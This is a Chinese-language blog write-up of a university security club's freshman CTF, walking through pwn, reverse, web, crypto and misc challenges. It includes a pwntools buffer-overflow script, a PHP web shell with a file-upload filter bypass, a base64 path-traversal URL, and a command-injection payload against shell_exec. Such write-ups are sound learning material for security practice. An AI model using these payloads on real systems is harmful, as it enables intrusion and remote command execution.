快轉到主要內容

成大資安社迎新杯 CTF

·
CTF
貝坦betan
作者
貝坦betan
其實作者也只會是我啦哈哈

別虐了…

算在每周ctf內,之後應該都把名子改成比賽名稱
共通點應該是都不會有封面

前言
#

比賽剛開就把會的題目就秒殺了 直接衝到第三名
然後再來就開始躺了

❎ 不會解
✅ 懶得解

這次Misc一題都 不會 不敢碰
本次排名 25/106 解出10題

解出
#

Welcome / 競賽規則
#

在ruls的部分最下面有一串base64的東東,丟去解密後就有flag了

flag: NCKUCTF{我會遵守以上規則因為我是好駭客}

Welcome / Discord
#

藏在dc 🩸|迎新盃&首殺公告 的頻道主題內
比較機車的點是 基本上要全螢幕才看得到後面的那串描述

flag: NCKUCTF{Welcome to 2024 NCKUCTF Freshmen Cup!}

Welcome / 回饋表單
#

請大家去乖乖填表單 甚至只有27個人解完這題

flag: NCKUCTF{Thanks for your playing, have a nice day!}

Pwn /[新手友善] Overflow Tutorial
#

考了 integer overflow 還有overwrite data的概念 (應該是叫這個沒錯
簡單來講就是整數溢出跟複寫
第二個複寫的部分如果懶得算具體前面要送多少字元的話,可以就直接先無腦噴一堆A,然後再去慢慢縮減就好

payload: 
251
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANCKUCTF

flag: NCKUCTF{H0p3_U_LeaRNed_Some_concept_Ab0ut_Sof7w4r3_sEcur1tY_N0w_0a05f6c72945fc781e1a0f5b54dc285a}

Pwn / Every pwner’s first challenge
#

透過buffer overflow來覆蓋 return address 的值,讓他最後變成是回到 call_me function
找 win function 的話可以用 gdb 的 info func 或是 IDA 直接打開看都可以
然後具體前面要先送多少字元才能蓋到 ret address 的話可以透過 pwn tool 的 cyclic ,先多送一大堆值進去,再透過GDB來查看報錯時的 $rsp 內容,最後再透過 cyclic_find("$rsp的值") 即可找出要覆蓋多少

from pwn import *
import sys
import time
context.log_level = "debug"
context.arch = "amd64"
def one_gadget(filename: str) -> list:
    return [
        int(i) for i in __import__('subprocess').check_output(
            ['one_gadget', '--raw', filename]).decode().split(' ')
    ]

if len(sys.argv) == 1:
    r = process("./chal")
    if args.GDB:
        gdb.attach(r, 'b *0x401228')
elif len(sys.argv) == 3:
    r = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: python3 {} [GDB | REMOTE_IP PORT]".format(sys.argv[0]))
    sys.exit(1)
s       = lambda data               :r.send(data)
sa      = lambda x, y               :r.sendafter(x, y)
sl      = lambda data               :r.sendline(data)
sla     = lambda x, y               :r.sendlineafter(x, y)
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data,num           :u32(r.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(r.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {}'.format(name, addr))
l64     = lambda      :u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(r.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))

# payload -->
win = 0x401196
# payload= cyclic(100)

payload= cyclic(40) + p64(win)
sla(b"Welcome to NCKUCTF Freshmen cup!\n", payload)

r.interactive()

flag: NCKUCTF{Y0ur_Pwn_J0urn3y_S74rts_FrOM_noW!_19999da0cf8e994642f89c8015ca5d05}

Reverse / ✌️✊✋
#

直接執行就有flag了,本來還以為是題目寫爆了?

flag: NCKUCTF{w0W_yOU_4re_vErY_gooD_47_ROck_PAPeR_5cS50RS!!}

Reverse / Youtube Video Recommendation Tool
#

直接strings 查看會輸出的全部yt連接,最後發現其中一個的標題就是flag了

flag: NCKUCTF{w4I7_a_MiNU73_kaITō_kiddOoa4}

Reverse / Baby Python Assembly
#

基本上把兩段code都塞給GPT他就會幫你生出原本的list了
謝謝GPT拯救所有懶得看不會組語的我
但最好還是去乖乖看組語啦哈哈
跟GPT的對話過程

flag: NCKUCTF{baby_pyth0N_1s_s0_EzZzzzzZZzzzzzZzzzz_Vincent55_is_so_Electric_OrzZzZZ_a8b40af05731c9612abeec69772de8e8ca8be759000d272e89f9ea5d413b2477}

Web / 好駭客的網站
#

簡單來講就是塞web shell,但聽說是題目出爆了才會被簡單繞過
在上傳圖片的部分先透過 burp suite 攔下發送的封包,送到 repeater 中開始修改
首先會擋掉附檔名為 .php 的內容,但這部分可以變成送 .Php 來繞過
再來是內容部分不能直接放shell code,前面要先加一段允許格式的Magic Numbers來繞過,這邊我是用gif的
再來就到上傳圖片的地方後面的cmd加上想執行的指令就可以了

http://chall.nckuctf.org:29103/uploads/aaaa_test.Php?cmd=塞這邊

payload:
GIF87a <?php system($_GET['cmd']);?>

flag: NCKUCTF{YOu_are_a_g00d_H4cK3r_Just_Lik3_Vincent55_V3ry_N1c3_945dae36ca165274}

Crypto / E?
#

一樣是靠GPT拿到的exp 這邊直接套原話
你可以使用 中國餘數定理(CRT) 來解這個問題,前提是這些 e1 和 e2 是互質的。

你有兩個方程式: c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
如果你知道 c1 和 c2 相等,並且知道 e1 和 e2,那麼你可以利用擴展的歐幾里得算法來求解 m。

利用擴展的歐幾里得算法來找到 s1 和 s2,使得:
s1 * e1 + s2 * e2 = 1
根據這個結果,你可以計算出:
m ≡ (pow(c1, s1, n) * pow(c2, s2, n)) % n
這樣就能算出 m 的值。

import math

# 擴展歐幾里得算法
def extended_gcd(a, b):
    if b == 0:
        return a, 1, 0
    gcd, x1, y1 = extended_gcd(b, a % b)
    x = y1
    y = x1 - (a // b) * y1
    return gcd, x, y

# 主要解碼邏輯
def decrypt(c1, c2, e1, e2, n):
    gcd, s1, s2 = extended_gcd(e1, e2)
    if gcd != 1:
        raise ValueError("e1 和 e2 必須互質")

    # 如果 s1 是負數,將其轉換為正數
    if s1 < 0:
        c1 = pow(c1, -s1, n)
        c1 = pow(c1, -1, n)
    else:
        c1 = pow(c1, s1, n)

    # 如果 s2 是負數,將其轉換為正數
    if s2 < 0:
        c2 = pow(c2, -s2, n)
        c2 = pow(c2, -1, n)
    else:
        c2 = pow(c2, s2, n)

    # 得到原始的 m
    m = (c1 * c2) % n
    return m

# 示例
n = 3233  # 一個模數 n
m = 42    # 原始消息
e1 = 3    # 第一個公開指數
e2 = 7    # 第二個公開指數

# 加密得到的密文 c
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)

# 用 c1 和 c2 來解密
解密後的_m = decrypt(c1, c2, e1, e2, n)
print(f"解密後的消息 m = {解密後的_m}")

未解出
#

參考Write Up

Reverse / 2048??
#

因為不會用dnspy下斷點查看flag的內容,所以最後還是用CE
透過dnspy查看勝利條件後,可以發現最終目標是要出現數字為2486的方塊,但理論上不可能達成,因此
CE 啟動!! 慢慢尋找後會發現它儲存的方法是根據每一格位置來存,不是看自己方塊的數字(?)
例如說左下的格子現在是2,但你把2移走後就會是0
既然找到內存位置後,再來就只需要把它改成2486就可以了

// Token: 0x0600001C RID: 28
public bool checkGoal()
{
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            if (this.iBoard[i][j] == this.goal)
            {
                return true;
            }
        }
    }
    return false;
}

// Token: 0x0400000E RID: 14
private int goal = 2486;

flag: NCKUCTF{WHo_I5_RO63R?}

Web / Just Image
#

比賽的時候想不到沒有.要怎麼回到根目錄就沒解出來,結果//就可以了qq
先直接去查看會動的鳥鳥圖片網址,發現最後的格式是base64加密後的,因此我們只需要將目標路徑也base64過後再送過去就好了

http://chall.nckuctf.org:29202/img/Ly9mbGFn 最後再把網站Ctrl+s存下來,在原本的網站讀不出來得原因是因為他不是圖片檔,存成txt之類的就可以了

flag: NCKUCTF{os.path.join can join to root}

Misc / Double Exploit
#

很酷的一題,現在才知道原來這些東西都可以撈,喵
原始碼如下

<?php
require "secret.php";
if (isset($_GET['payload'])){
    $payload=$_GET['payload'];
    if (strlen($payload)>6) die("Bad bad cat");
    $result=shell_exec("./pwn_me ".$payload);
    if ($result=="Meowing Whale"){
        echo $flag;
    }
}
highlight_file("index.php");

先查看題目會發現,payload的部分只能輸入6個字元、 最後的result要為"Meowing Whale"
首先能透過http://chall.nckuctf.org:29205/pwn_me,來下載pwn_me去做分析
透過IDA查看後會發現,輸入的第二字元為#則會輸出我們要的Meowing
再來透過存取http://chall.nckuctf.org:29205/Dockerfile,可以發現還可以存取一個叫f的檔案,一樣把它下載下來,發現執行後就會輸出Whale
東西都找到了,最後就把它們串在一起就可以了 payload=0%23;.%2ff
不知道為甚麼payload直接送 0#;./f 會失敗,要變成送url編碼後的形式才可以

flag: NCKUCTF{my_first_pwn+web+rev_XD}

總結
#

耶寫完了 排版一樣很醜
這次好廢喔 明年還打 好打一直打